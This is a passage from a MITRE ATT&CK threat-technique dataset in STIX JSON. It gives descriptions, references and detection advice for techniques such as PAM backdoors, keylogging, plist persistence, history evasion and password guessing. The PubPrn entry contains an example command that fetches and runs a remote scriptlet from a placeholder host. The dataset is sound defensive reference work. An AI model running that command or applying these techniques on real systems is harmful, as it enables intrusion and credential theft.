                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
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            "name": "Plist Modification",
            "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)",
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                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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                    "phase_name": "privilege-escalation"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
            "created": "2020-06-26T04:01:09.648Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/003",
                    "external_id": "T1556.003"
                },
                {
                    "source_name": "Apple PAM",
                    "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
                    "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
                },
                {
                    "source_name": "Man Pam_Unix",
                    "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
                    "url": "https://linux.die.net/man/8/pam_unix"
                },
                {
                    "source_name": "PAM Creds",
                    "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
                },
                {
                    "source_name": "Red Hat PAM",
                    "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
                },
                {
                    "source_name": "PAM Backdoor",
                    "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
                    "url": "https://github.com/zephrax/linux-pam-backdoor"
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            "name": "Pluggable Authentication Modules",
            "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
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            "x_mitre_domains": [
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                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
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                    "source_name": "Google - Restore Cloud Snapshot",
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            "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
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            "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
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            "type": "attack-pattern",
            "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1148",
                    "external_id": "T1148"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/13.html",
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            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.",
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            "type": "attack-pattern",
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            "created": "2020-10-02T16:39:33.966Z",
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                {
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                    "url": "https://attack.mitre.org/techniques/T1592",
                    "external_id": "T1592"
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                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "TrellixQakbot",
                    "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.",
                    "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "name": "Gather Victim Host Information",
            "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca",
            "created": "2020-10-02T16:58:58.738Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/003",
                    "external_id": "T1596.003"
                },
                {
                    "source_name": "Medium SSL Cert",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
                    "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
                },
                {
                    "source_name": "SSLShopper Lookup",
                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
                    "url": "https://www.sslshopper.com/ssl-checker.html"
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            "modified": "2025-04-15T22:18:01.430Z",
            "name": "Digital Certificates",
            "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
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                {
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                    "phase_name": "reconnaissance"
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "created": "2020-02-11T18:58:11.791Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1056/001",
                    "external_id": "T1056.001"
                },
                {
                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Adventures of a Keystroke",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
                    "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:03.923Z",
            "name": "Keylogging",
            "description": "Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) ",
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                {
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`.(Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_data_sources": [
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                "Windows Registry: Windows Registry Key Modification"
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            "created": "2024-03-29T16:59:10.374Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/012",
                    "external_id": "T1564.012"
                },
                {
                    "source_name": "Microsoft File Folder Exclusions",
                    "description": "Microsoft. (2024, February 27). Contextual file and folder exclusions. Retrieved March 29, 2024.",
                    "url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-contextual-file-folder-exclusions-microsoft-defender-antivirus"
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            "modified": "2025-04-15T22:35:31.731Z",
            "name": "File/Path Exclusions",
            "description": "Adversaries may attempt to hide their file-based artifacts by writing them to specific folders or file names excluded from antivirus (AV) scanning and other defensive capabilities. AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.(Citation: Microsoft File Folder Exclusions)\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than  tampering with tool settings to add a new exclusion (i.e., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) and other [Discovery](https://attack.mitre.org/tactics/TA0007)/[Reconnaissance](https://attack.mitre.org/tactics/TA0043) activities to both discover and verify existing exclusions in a victim environment.",
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            "x_mitre_detection": "",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345",
            "created": "2020-02-04T19:24:27.774Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1222/002",
                    "external_id": "T1222.002"
                },
                {
                    "source_name": "Hybrid Analysis Icacls1 June 2018",
                    "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
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                    "source_name": "Hybrid Analysis Icacls2 May 2018",
                    "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
                    "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
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                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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            "modified": "2025-04-15T22:46:00.944Z",
            "name": "Linux and Mac File and Directory Permissions Modification",
            "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform\u2019s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
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                    "phase_name": "defense-evasion"
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            "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques) \n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
            "created": "2020-02-11T18:38:22.617Z",
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                    "url": "https://attack.mitre.org/techniques/T1110/001",
                    "external_id": "T1110.001"
                },
                {
                    "source_name": "Trend Micro Emotet 2020",
                    "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                },
                {
                    "source_name": "US-CERT TA18-068A 2018",
                    "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:04.272Z",
            "name": "Password Guessing",
            "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Microsoft Threat Intelligence Center (MSTIC)",
                "Mohamed Kmal"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Containers",
                "Network Devices",
                "Office Suite",
                "Identity Provider",
                "ESXi"
            ],
            "x_mitre_version": "1.7",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication",
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--09cd431f-eaf4-4d2a-acaf-2a7acfe7ed58",
            "created": "2020-02-03T16:49:57.788Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1216/001",
                    "external_id": "T1216.001"
                },
                {
                    "source_name": "pubprn",
                    "description": "Jason Gerend. (2017, October 16). pubprn. Retrieved July 23, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pubprn"
                },
                {
                    "source_name": "Enigma0x3 PubPrn Bypass",
                    "description": "Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.",
                    "url": "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/"
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            ],
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            "modified": "2025-04-16T20:37:14.984Z",
            "name": "PubPrn",
            "description": "Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)\n\nAdversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.\n\nIn later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Atul Nair, Qualys"
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "2.1",
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                "Process: Process Creation",
                "Command: Command Execution",
                "Script: Script Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f",
            "created": "2020-10-02T17:05:43.562Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1597/002",
                    "external_id": "T1597.002"
                },
                {
                    "source_name": "ZDNET Selling Data",
                    "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.",
                    "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/"
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            "modified": "2025-04-15T22:58:36.430Z",
            "name": "Purchase Technical Data",
            "description": "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.\n\nAdversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim\u2019s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "created": "2017-05-31T21:30:19.735Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003",
                    "external_id": "T1003"
                },
                {
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory",
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea"
                },
                {
                    "source_name": "AdSecurity DCSync Sept 2015",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "url": "https://adsecurity.org/?p=1729"
                },
                {
                    "source_name": "Microsoft DRSR Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc228086.aspx"
                },
                {
                    "source_name": "Microsoft NRPC Dec 2017",
                    "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc237008.aspx"
                },
                {
                    "source_name": "Microsoft GetNCCChanges",
                    "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/dd207691.aspx"
                },
                {
                    "source_name": "Microsoft SAMR",
                    "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.",
                    "url": "https://msdn.microsoft.com/library/cc245496.aspx"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
                },
                {
                    "source_name": "Samba DRSUAPI",
                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
                    "url": "https://wiki.samba.org/index.php/DRSUAPI"
                },
                {
                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
